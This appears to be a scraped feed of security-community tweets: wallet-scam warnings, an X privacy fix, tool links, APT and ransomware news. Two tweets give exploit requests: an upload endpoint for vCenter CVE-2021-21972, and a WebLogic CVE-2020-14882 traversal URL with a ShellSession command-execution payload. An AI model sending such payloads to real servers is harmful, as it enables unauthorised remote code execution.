m0dd0g

[艾也 @241221Alice]

https://t.co/yDrdZzsxzr

[Cos(余弦)😶‍🌫️ @evilcos]

再再再次注意这个巨坑，别在非官方渠道购买硬件钱包，又一位在京东购买所谓的 imToken 安全冷硬件钱包，使用的是骗子初始化预设好的冷钱包，也就是说骗子那里掌握了助记词，而用户直接使用了这个助记词来当自己的钱包，导致被盗 4.35 BTC，几百万人民币就没了。

cc @SlowMist_Team @im23pds @imTokenOfficial @imTokenCN

[Jameson Lopp @lopp]

X's new voice calling feature leaks your IP address by default. Threat actors can obtain any user's IP address just by initiating a call. X enabled the feature for all accounts last week.

To fix: Settings ➡️ Privacy & Security ➡️ Direct Messages ➡️ Enhanced Call Privacy

[Clandestine @akaclandestine]

GitHub - sockysec/Telerecon: A reconnaissance framework for researching and investigating Telegram. https://t.co/4MjHYUa8Fb

[Bob Diachenko 🇺🇦 @MayhemDayOne]

Does this table structure look familiar? Can't identify the source, someone just left the file with 6146 cards online. "Card on Dark Web" field indicates that this is not originated from dark web :)

[Jas502n @jas502n]

#CVE-2021-21972 vmware vcenter unauth RCE

https://172.16.242.130/ui/vropspluginui/rest/services/uploadova

POST:
name="uploadFile"; filename="xxx.tar"

[LiveOverflow 🔴 hextree.io @LiveOverflow]

Looking at a Kernel Root Exploit via a ptrace() and execve() Race Condition

https://t.co/LxMuasN2Jv

[Jas502n @jas502n]

#CVE-2020–14882 Weblogic Unauthorized bypass RCE
http://x.x.x.x:7001/console/images/%252E%252E%252Fconsole.portal

POST:

_nfpb=true&_pageLabel=&handle=https://t.co/jBUfUasQC1.ShellSession(%22java.lang.Runtime.getRuntime().exec(%27calc.exe%27);%22)

https://t.co/nU8xkK30DU

[pyn3rd @pyn3rd]

I have summarized some vulnerability write-ups in Spring Boot environment, and some new tricks will be updated unceasingly here. https://t.co/P3vSaazkHC

[柳長風 @1ancet]

大佬们太强了。
对他们来说赏金真的不重要…

[m0dd0g @m0dd0g1]

@annaleedaivid @CryptoInsane https://t.co/gdiLGF5xYl

[blackorbird @blackorbird]

The login background of C2 uses a method of hiding the login box, which is usually a picture when opened.
#APT #Bitter

[ippsec @ippsec]

Happy Leap Day. I'm going to raffle off 10 HackTheBox VIP Passes (1 month each), reply to this post with a link to your favorite IppSec video and why. Contest ends sometime tomorrow. Be sure to follow me, if I cannot DM You then I will just pick a different person.

[babush @pmontesel]

AFLplusplus + libprotobuf-mutator https://t.co/5kRINc3n7L #fuzzing #security

[CryptoInsane @CryptoInsane]

REvil Ransomware - Sodinokibi team published data from the company Artech Information Systems .. 🤨🤔🧐

[Samuel Groß @5aelo]

I'm very excited to share my blogpost series (including PoC code) about a remote, interactionless iPhone exploit over iMessage: https://t.co/9FNpYQIyWE

[blackorbird @blackorbird]

#APT #Darkhotel #0day #WizardOpium
Chrome RCE to windows Privilege Escalation

First
Chrome 0-day exploit CVE-2019-13720 used in Operation WizardOpium
https://t.co/WmUj2BkieG
Then
Windows 0-day exploit CVE-2019-1458 used in Operation WizardOpium(Windows 7)
https://t.co/Gqkmmn9Ujc

[Mobile Security @mobilesecurity_]

KTRW: The journey to build a debuggable iPhone
#MobileSecurity #iOSsecurity by @_bazad https://t.co/1rcm7bpskr